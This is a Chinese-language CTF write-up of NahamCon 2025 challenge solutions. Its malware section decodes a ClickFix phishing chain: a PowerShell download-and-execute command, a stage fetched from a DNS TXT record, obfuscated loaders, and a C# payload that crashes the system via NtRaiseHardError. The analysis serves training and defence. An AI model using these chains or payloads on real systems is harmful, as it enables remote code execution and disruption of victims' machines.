NahamCon CTF 2025

NahamCon CTF 2025
AristoreWarmups
Naham-Commencement 2025
Challenge
Author: @HuskyHacks
Welcome, Naham-Hacker Class of 2025! This challenge is your official CTF opening ceremony. Enjoy the CTF, play fair, play smart, and get those flags! BEGIN! 📯
(True story: NahamSec originally contracted me to built the actual NahamCon site. I showed this to him as a prototype and he said “you know, let’s actually move you to the CTF dev team…”)
NOTE, we have noticed an odd gimmick with this challenge – if you seem to repeatedly see a message
An error occurred while processing your request.
, try changing how you connect to the Internet in case any provider oddities are getting in the way.
Solution
前端校验账号密码,所以检查 js
1 | function a(t) { |
观察代码发现 username 和 password 分别是凯撒加密和维吉尼亚加密,用厨子解一下就行
1 | flag{c419dfe3a0a621edc0150a133bb7a34c} |
Screenshot
Challenge
Author: @John Hammond
Oh shoot! I accidentally took a screenshot just as I accidentally opened the dump of a
flag.zip
file in a text editor! Whoopsies, what a crazy accidental accident that just accidented!Well anyway, I think I remember the password was just
password
!
Solution
用 Python 输出为.zip
压缩包
1 | data = '''504b 0304 3300 0100 6300 2f02 b55a 0000 |
根据题目描述可知解压密码是 password
,解压得到 flag
1 | flag{907e5bb257cd5fc818e88a13622f3d46} |
The Oddyssey
Challenge
Author: @HuskyHacks
Remember reading The Odyssey in high school? Well I sure don’t, because I never did my homework. But I really wanted to get back into the classics and give it a fair shake. The problem is I have a fourth grade reading level and that book is waaaaaay too long.
To solve this, I made a server that reads out tiny chunks of The Odyssey, one at a time, so I can take my time reading it! How is Odysseus gonna get himself out of this one?
Solution
自动翻页,正则匹配 flag 并输出
1 | from pwn import * |
1 | flag{0b51aae6b09b85d1bb13b0b8c3003a6a} |
Free Flags!
Challenge
Author: @John Hammond
WOW!! Look at all these free flags!!
But… wait a second… only one of them is right??
NOTE, bruteforcing flag submissions is still not permitted. I will put a “max attempts” limit on this challenge at 1:00 PM Pacific to stop participants from automating submissions. There is only one correct flag, you can find a needle in a haystack if you really know what you are looking for.
Solution
从规则找到如下内容:
1 | Flag Format |
正则匹配
1 | import re |
1 | flag{ae6b6fb0686ec594652afe9eb6088167} |
Miscellaneous
The Martian
Challenge
Author: @John Hammond
Wow, this file looks like it’s from outta this world!
Solution
用 binwalk 提取出多个.bz2
的压缩包文件,解压 34.bz2
得到 34
,给它加上.jpg
后缀得到含有 flag 的图像
1 | flag{0db031ac265b3e6538aff0d9f456004f} |
Flagdle
Challenge
Author: @HuskyHacks
Wordle? I sleep. Too easy.
32 character Wordle? Now we’re cooking with gas!
Solution
爆破
1 | import requests |
输出:
1 | [*] Starting flag brute-force against: http://challenge.nahamcon.com:31230/guess |
1 | flag{bec42475a614b9c9ba80d0eb7ed258c5} |
Cryptography
Cryptoclock
Challenge
Author: @JohnHammond
Just imagine it, the Cryptoclock!! Just like you’ve seen in the movies, a magical power to be able to manipulate the world’s numbers across time!!
1 | #!/usr/bin/env python3 |
Solution
1 | from pwn import * |
1 | [x] Opening connection to challenge.nahamcon.com on port 31721 |
1 | flag{0e42ba180089ce6e3bb50e52587d3724} |
Forensics
Puzzle Pieces
Challenge
Author: Nordgaren
Well, I accidentally put the important data into a bunch of executables.
It was fine, until my cat stepped on my keyboard and renamed them all!
Can you help me recover the important data?
Solution
逐个用 010editor 打开,在 zjav5i20Uqdp.exe
搜索到关键词 flag
先按修改时间把程序从早到晚排序
逐个用 IDA 打开,按 Alt
+T
搜索 off_1400193A8
,将后面的字符串记下,得到如下结果
zjav5i20Uqdp.exe -> flag\n
RSL30YP.exe -> {512\n
lWmDFh.exe -> faff\n
GM1z8JCY.exe -> 5e7d\n
tETZLNWBfNDS.exe -> 89c9\n
G6tE1a.exe -> b8bd\n
2w7JdChEy.exe -> 4b95\n
VUlyMSY2V5R57.exe -> 17af\n
NUcrnJqvd4bYdL.exe -> 9bfa\n
bh9CdGYivv.exe -> a}
连起来得到 flag
1 | flag{512faff5e7d89c9b8bd4b9517af9bfaa} |
Malware
Verification Clarification
Challenge
Author: @resume
One of our users received an email asking them to provide extra verification to download a zip file, but they weren’t expecting to receive any files.
Can you look into the verification link to see if it’s…phishy?
NOTE, if you visit this link below and it does not respond, try to make a connection in a different way. The challenge is functional and you *should* get a response.
WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.
Solution
钓鱼网站,点击验证码后会给出下面的提示
此时剪贴板会被写入
1 | powershell -NoP -Ep Bypass -c irm captcha.zip/verify | iex # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3511'' |
让我们逐个参数进行分析。
powershell
:启动 PowerShell 解释器。
- NoP
:即 - NoProfile
,表示 不加载用户配置文件(profile) ,避免执行启动脚本。
- Ep Bypass
: - ExecutionPolicy Bypass
,设置执行策略为 Bypass
, 不阻止任何脚本运行 。默认情况下,PowerShell 会阻止运行未签名的脚本,使用 Bypass
可以绕过这种限制。
-c
:即 -Command
,后面跟着的是要执行的 PowerShell 命令字符串,在此处就是 "irm captcha.zip/verify | iex"
。
irm captcha.zip/verify
:
irm
:Invoke-RestMethod
的别名,从 URLcaptcha.zip/verify
获取内容管道符
|
把上一步的结果传递给下一个命令iex
:Invoke-Expression
的别名,把接收到的内容当作 PowerShell 命令来执行
# ✅ ''I am not a robot - reCAPTCHA Verification ID: 3511''
:这是注释,并不会被执行,用于混淆视听的。
总结:这条命令的作用是启动一个无配置、允许执行任意脚本的 PowerShell 子进程,从
captcha.zip/verify
下载内容并直接执行。
因此下一步要做的是从 captcha.zip/verify
下载内容进行分析。
运行下面的指令将恶意脚本下载到桌面而不运行。
1 | powershell -NoP -Ep Bypass -c "irm captcha.zip/verify | Out-File ([Environment]::GetFolderPath('Desktop') + '\malicious_script.ps1')" |
得到的 malicious_script.ps1
内容如下:
1 | $d='aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoUmVzb2x2ZS1EbnNOYW1lIC1OYW1lIDVnbWx3LnB5cmNoZGF0YS5jb20gLVR5cGUgVFhUKS5TdHJpbmdzIC1qb2luICcnKSkp' |
$d
存储的是一段被 base64 编码后的字符串。
$dn
存储的是 $d
解码后的结果,解码过程见 CyberChef,解码结果如下:
1 | iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT).Strings -join ''))) |
(New-Object -ComObject Shell.Application).ShellExecute("powershell", "-NoP -Ep Bypass -c $dn", "", "runas", 0)
创建了一个 COM 对象 Shell.Application
,使用.ShellExecute()
方法运行一个新的 PowerShell 进程:
"powershell"
:调用 PowerShell"-NoP -Ep Bypass -c $dn"
:参数中-c
表示执行$dn
中的内容"runas"
:以管理员权限运行0
:隐藏窗口
接下来分析 $dn
中的内容。
iex (...)
: Invoke-Expression
,把接收到的内容当作 PowerShell 命令来执行。
[Text.Encoding]::UTF8.GetString(...)
:将字节数组转换为 UTF8 格式的字符串。
[Convert]::FromBase64String(...)
:将拼接后的 Base64 字符串转换为字节数组(byte array)。
Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT
:使用 Resolve-DnsName
查询域名 5gmlw.pyrchdata.com
的 TXT 类型 DNS 记录 。
.Strings -join ''
:将所有返回的 TXT 字符串拼接成一个完整的 Base64 编码字符串。
总结:从 DNS 的 TXT 记录中获取一段 Base64 编码的内容,解码后直接执行。
因此下一步要做的是分析 5gmlw.pyrchdata.com
的 TXT 记录。
使用在线工具 TXT 记录查询进行查询,得到如下结果:
1 | KG5Fdy1vQmpFQ1QgIHNZc1RFbS5pby5jT21QUkVzU0lPTi5ERUZMQVRlc1RyRUFNKCBbSU8ubUVNT3JZc3RSZUFNXSBbU3lTdEVNLmNPbnZlcnRdOjpGck9tYmFTRTY0c3RyaU5HKCAnVFZScmM5bzZFUDBybW43Qm5tSVhrcEJKNHVFRDVkR1FHeDVqQ0tUTzVJTWZBcFRhbGtlV3VTUzkvZTkzand5a3pHaDNMYTJPemg2dFlOYUw0dHZoNGZYdUx1dnAvbTY0c05nWDI3NitmUFY3OS8yWHB0MXB0ZXZ3YSt2MkdMUlBVeFpqdzM3dnNSajZEbU5YcHkwTi8zclJPTS9mbnBFdTJpZWtxNXRqY0hPRXRJWnhMeTI0SHp2TWJ0aU5ydzNiSnBCdWQ5dW51S0F4ZmljVDAvaFlYZnpjUDl3L2lWNy9rVDVGaTh6OUpCME5acjhlM2dMNjZQd2FCS2xQd1RLNEl0dWpRV3ZCZXBJR0g1TnM5emJaMGN6MzViUVZmMHd1S1N3dnNXdDN5TWdHQWp0cTRIajlzd3l5c1h6NkVZblJPbndmMFdTMmFuWElyUVBkdVlqZTB5eXBWc01rbmFhejY5YUk0blZVM1daeEVlVFJxTE9JVXY4U2hEdFRNdTAxbFdOdGMrQXJ2Ymk2NW1YNFBaUDRBdTdkM2F0V2ZKOVRLUHN2WkpGS2VSUnAvc085SVQ5YWtubWlSRnBKWkp3UFhYM2dxTktrc3dNWG5tMXBBT3dXbEVYQjg0dUg4MFdBTkZZcXJqbHFERlZJZHE1NENqSkZKdnNPMWlzRlhaWmxpWlM1dzdDbXd0Mml6L2cyckxhZ0ZqNDZyUHhFekVGZmFHR0sydkFCeHozaG1wWU9xK09sazVCTGV0MFFLWkNaZTNTdjVCZHBpaFVhYnNaMStiNkFQSFV5NW5BS3poRElpc0NhRzJLOUJMTnh6aFhmY04rTkRTejNDbWdUOFUxWTV0VTNuTHlNdW1VdWhVWThVOWllQ2xUcVlyZW9pZFNDa0JwR0NtU2ErK2k3NnBTTWMrVUF5UW0rREUvb29tUCtGczJjZjQ4a3AxMkNKQkxtM0Q5L1BGc3hYVW5XUkoyc2FlNllCNjdDM2N3MWRCeXpKdG5XeVY2UXcyalJEdzRjRHkwTCt5UzRxMkVDaDF1NzU2V0E5L1hVd3lNQlpuMFlMMU1zYkNpcWxHYk4yN1lGYmx1cVpTL1VISWtRc0hwTGVxbjJQYUtZaThyVERBSkxHZjArOXc0UUV5SDM4RURZNEdqU2xSbXhkYWhMaXRLb0t1Z21BUUpRb29ETnJMa3lmTWdRT0d2T21kSlVNWlg3Wk9acEVwNUdjMnAwTkZuRDA1cjFXVzVJaGVMNlF5clVyTEhjeUFqb0EvK0x5dkZQd1JCNnRmSHFqOTJWdURSMGpyYlNTcHBHSDZQV2RJRDM0dGt6bG1KV1JtY0ZselFqSStJRGozNUNBWFV0ZUdGOFc3Y1JoSUdnSldxQm1xRGluMnBnK1lra1ptSngwZ3Q0aHFHaEJ4Nm0vOTF6WktqaUhHSmJvUEhHYVUzMTl6TXJ5ekNOQVhic2drOUlpSSsrODBvZWk3M2lRQ2drVVRCdDV2Sk02THp5ajYwTFJ2VG5VVmJlc1pYTm82YnZBczhGajlxeUxQYk14K3dMdGFaTHZkdFE0KzM5VXN2SDRVZzNtTzA4U0RGdFVNRCtZK1BwU3Y3REhmNWNLRjR1eG5MNlB3PT0nKSAsIFtJTy5jT21QUmVTU0lvTi5jb01wckVTc2lvbm1vZEVdOjpEZWNvbVBSRXNzKSB8IGZvUkVhQ0ggeyBuRXctb0JqRUNUICBpTy5zVFJFYW1SRUFkZXIoJF8gLCBbdEV4VC5FTkNPZGlOR106OkFzY0lpICkgfXxmb3JlYUNoIHskXy5yRWFkdE9FbmQoICkgfSkgfCYoICRTSGVsTGlEWzFdKyRTSEVMTElEWzEzXSsnWCcp |
解码过程见 CyberChef,结果如下:
1 | (nEw-oBjECT sYsTEm.io.cOmPREsSION.DEFLATesTrEAM( [IO.mEMOrYstReAM] [SyStEM.cOnvert]::FrOmbaSE64striNG( 'TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE]::DecomPREss) | foREaCH { nEw-oBjECT iO.sTREamREAder($_ , [tExT.ENCOdiNG]::AscIi ) }|foreaCh {$_.rEadtOEnd( ) }) |&( $SHelLiD[1]+$SHELLID[13]+'X') |
这个脚本还经过了大小写混淆,下面是各部分的分析:
[Convert]::FromBase64String(...)
:将内部的内容转换为字节数组,然后包装成 MemoryStream
对象用于后续解压。
[System.IO.Compression.DeflateStream]($memoryStream, System.IO.Compression.CompressionMode]::Decompress)
:使用 .NET 的 DeflateStream
类对数据进行解压。
ForEach { New-Object IO.StreamReader($_, [Text.Encoding]::ASCII) } | ForEach { $_.ReadToEnd() }
:创建 StreamReader
来读取解压后的数据流,使用 ASCII 编码将其转换为文本,最终输出一个完整的 PowerShell 脚本。
| &($ShellID[1]+$ShellID[13]+'X')
:
$ShellID
是 PowerShell 内置变量,值为:Microsoft.PowerShell.Security
$ShellID[1]
是'i'
,$ShellID[13]
是'e'
,所以:'i' + 'e' + 'X' = 'iex'
- 所以这行等价于
| iex
,即将前面解压出的内容作为 PowerShell 命令执行。
总结:从一段 Base64 编码的数据中解压并执行一个隐藏的 PowerShell 脚本。
因此下一步要做的是分析 Base64 编码的内容。
提取出 Base64 编码的内容:
1 | TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE |
将其解码并解压,过程见 CyberChef,结果如下:
1 | ([regEx]::mAtChES( "))63]RAHC[,)501]RAHC[+09]RAHC[+101]RAHC[( ECALpER- 43]RAHC[,'R6S'ECALpER- 93]RAHC[,)211]RAHC[+48]RAHC[+89]RAHC[(EcAlpeRc- )')'+'))R6S==gC'+'p'+'Iy'+'c'+'zV2YvJHUiACL'+'i0'+'HMlFDOkJjZ'+'5kDZlR'+'TZ4'+'A'+'DOkZWMlZzMmhjMh'+'BTN0czM3'+'s3Z'+'hxm'+'Zi'+'ACL'+'icWYsZmIoUGbiFWayF'+'mV05'+'WZt52bylmduVEdlNlO60FduVWbu9mcpZnbF5SblR3c'+'5N'+'1WR6S(gni'+'rtS46esaBmo'+'rF'+'::]trevn'+'oC['+'(gnirtS'+'teG.8'+'FT'+'U::]gnidocnE.txe'+'T['+'( xei;)(t'+'ohS::]'+'X[;c'+'iZe'+' sretem'+'ara'+'Preli'+'pmoC-'+' urh'+'Tss'+'aP- '+'prahSC egaugn'+'aL- s'+'iZe'+' no'+'itini'+'feDep'+'y'+'T- ep'+'yT-d'+'dA=ai'+'Z'+'e;)R6'+'Sll'+'d'+'.metsySR6S(d'+'dA'+'.s'+'e'+'il'+'bm'+'ess'+'Ade'+'cnerefeR.ci'+'Ze;pT'+'befasnu/p'+'Tb=snoitp'+'Or'+'elipmoC.'+'ciZ'+'e;sretemaraPrelip'+'mo'+'C.relipmoC.m'+'oD'+'edoC.metsyS '+'tcejbO-w'+'e'+'N=ciZe;p'+'Tb}};)r tuo ,6'+' ,o'+'reZ.rt'+'Ptn'+'I ,'+'0 ,'+'0 ,2'+'2'+'0000'+'0'+'cx0('+'ror'+'rEdr'+'a'+'Hesia'+'RtN;'+')t'+' tuo ,esla'+'f ,eurt ,91(e'+'gelivirPt'+'s'+'ujdAltR;r tniu;t l'+'oob{)(t'+'ohS'+' diov'+' e'+'f'+'asnu ci'+'tats cilbup;)R tni'+'u tu'+'o ,V'+' t'+'niu ,P rtPtnI ,U'+' tniu'+' '+',N '+'tniu ,E'+' tniu(ror'+'rEdraHes'+'iaRtN tniu n'+'ret'+'xe ci'+'tats '+'c'+'ilbup])R'+'6'+'Slld.lldtnR6S(tro'+'pmIl'+'lD['+';)O lo'+'ob'+' tuo ,T loob ,E loo'+'b ,P t'+'ni'+'(eg'+'eliv'+'irPtsu'+'jdAl'+'tR'+' tniu nret'+'xe'+' citats cil'+'bup])R6'+'S'+'ll'+'d.'+'ll'+'dtnR6S'+'(tropm'+'IllD['+'{X ssalc cit'+'a'+'ts cil'+'b'+'up'+';secivreS'+'poretn'+'I.emitnuR.metsyS'+' gnisu;metsyS gn'+'isupTb=siZe'((( XeI " ,'.' ,'rIgHTtoLEFt' )-JoiN'' ) | INVoKe-eXpresSIoN |
[Regex]::Matches(...)
:这是 .NET 的正则匹配函数 [Regex]::Matches($inputString, $pattern)
,作用是在 $inputString
中按 $pattern
提取所有匹配的内容。
[Regex]::Matches("...", "." , "RightToLeft")
提取该字符串中的每一个字符,并按从右到左的顺序返回字符数组 :
- 第一个参数是接下来要详细分析的内容。
- 第二个参数
"."
表示匹配任意字符。 - 第三个参数
"RightToLeft"
是 RegexOptions,表示从右向左匹配。
总结:将经过反转的脚本反转回来并执行。
因此下一步要做的就是手动把被反转的脚本反转回来。
将其提取出来进行反转,过程见 CyberChef,结果如下:
1 | IeX ((('eZis=bTpusi'+'ng System;using '+'System.Runtime.I'+'nterop'+'Services;'+'pu'+'b'+'lic st'+'a'+'tic class X{'+'[DllI'+'mport('+'S6Rntd'+'ll'+'.d'+'ll'+'S'+'6R)]pub'+'lic static '+'ex'+'tern uint '+'Rt'+'lAdj'+'ustPri'+'vile'+'ge('+'in'+'t P, b'+'ool E, bool T, out '+'bo'+'ol O);'+'[Dl'+'lImp'+'ort(S6Rntdll.dllS'+'6'+'R)]publi'+'c'+' stat'+'ic ex'+'ter'+'n uint NtRai'+'seHardEr'+'ror(uint '+'E, uint'+' N,'+' '+'uint '+'U, IntPtr P, uin'+'t '+'V, o'+'ut u'+'int R);public stat'+'ic unsa'+'f'+'e '+'void '+'Sho'+'t(){boo'+'l t;uint r;RtlAdju'+'s'+'tPrivileg'+'e(19, true, f'+'alse, out '+'t)'+';NtR'+'aiseH'+'a'+'rdEr'+'ror'+'(0xc'+'0'+'0000'+'2'+'2, 0'+', 0'+', I'+'ntP'+'tr.Zer'+'o, '+'6, out r);}}bT'+'p;eZic=N'+'e'+'w-Object'+' System.Code'+'Do'+'m.Compiler.C'+'om'+'pilerParameters;e'+'Zic'+'.Compile'+'rO'+'ptions=bT'+'p/unsafeb'+'Tp;eZ'+'ic.Referenc'+'edA'+'sse'+'mb'+'li'+'e'+'s.'+'Ad'+'d(S6RSystem.'+'d'+'llS'+'6R);e'+'Z'+'ia=Ad'+'d-Ty'+'pe -T'+'y'+'peDef'+'initi'+'on '+'eZi'+'s -La'+'nguage CSharp'+' -Pa'+'ssT'+'hru '+'-Comp'+'ilerP'+'ara'+'meters '+'eZi'+'c;[X'+']::Sho'+'t();iex ('+'[T'+'ext.Encoding]::U'+'TF'+'8.Get'+'String('+'[Co'+'nvert]::'+'Fr'+'omBase64Str'+'ing(S6RW1'+'N5'+'c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW'+'50Vm'+'FyaWFibGUoImZsYWci'+'LCA'+'iZ'+'mxh'+'Z3s'+'3Mzc0NTB'+'hMjhmMzZlMWZkOD'+'A'+'4ZT'+'RlZDk5'+'ZjJkODFlMH'+'0i'+'LCAiUHJvY2Vz'+'c'+'yI'+'p'+'Cg==S6R))'+')') -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34 -REpLACE ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36)) |
将'...'+'...'
这种格式的拼接清除一下,使其更易于观察,得到如下结果:
1 | IeX (((eZis=bTpusing System;using System.Runtime.InteropServices;public static class X{[DllImport(S6Rntdll.dllS6R)]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport(S6Rntdll.dllS6R)]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}bTp;eZic=New-Object System.CodeDom.Compiler.CompilerParameters;eZic.CompilerOptions=bTp/unsafebTp;eZic.ReferencedAssemblies.Add(S6RSystem.dllS6R);eZia=Add-Type -TypeDefinition eZis -Language CSharp -PassThru -CompilerParameters eZic;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(S6RW1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==S6R)))) -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34 -REpLACE ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36)) |
接下来逐层去除混淆。
1 | -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 |
这是在将 bTp
替换为'
,S6R
替换为 "
,eZi
替换为 $
,替换后的结果如下:
1 | IeX ((($s='using System;using System.Runtime.InteropServices;public static class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}';$c=New-Object System.CodeDom.Compiler.CompilerParameters;$c.CompilerOptions='/unsafe';$c.ReferencedAssemblies.Add("System.dll");$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg=="))))) |
接下来分析其中的 C# 编译与提权代码:
1 | using System; |
使用
DllImport
调用 Windows 内核函数ntdll.dll
。RtlAdjustPrivilege(19, ...)
:启用SeShutdownPrivilege
权限(关机权限)。NtRaiseHardError(...)
:强制弹出一个系统级错误对话框。
1 | $eZic = New-Object System.CodeDom.Compiler.CompilerParameters |
- 创建了一个
.NET
编译器参数对象。 - 添加引用
System.dll
- 使用
Add-Type
将上面定义的 C# 类编译进当前 PowerShell 会话。 - 然后调用
[X]::Shot()
执行提权。
1 | iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg=="))) |
Base64 解码并执行另一段命令。Base64 解码过程见 CyberChef,结果如下:
1 | [System.Environment]::SetEnvironmentVariable("flag", "flag{737450a28f36e1fd808e4ed99f2d81e0}", "Process") |
- 设置一个名为
flag
的环境变量,值为一个 flag 字符串。 - 作用域为当前进程(“Process”),不会影响系统其他部分。
1 | flag{737450a28f36e1fd808e4ed99f2d81e0} |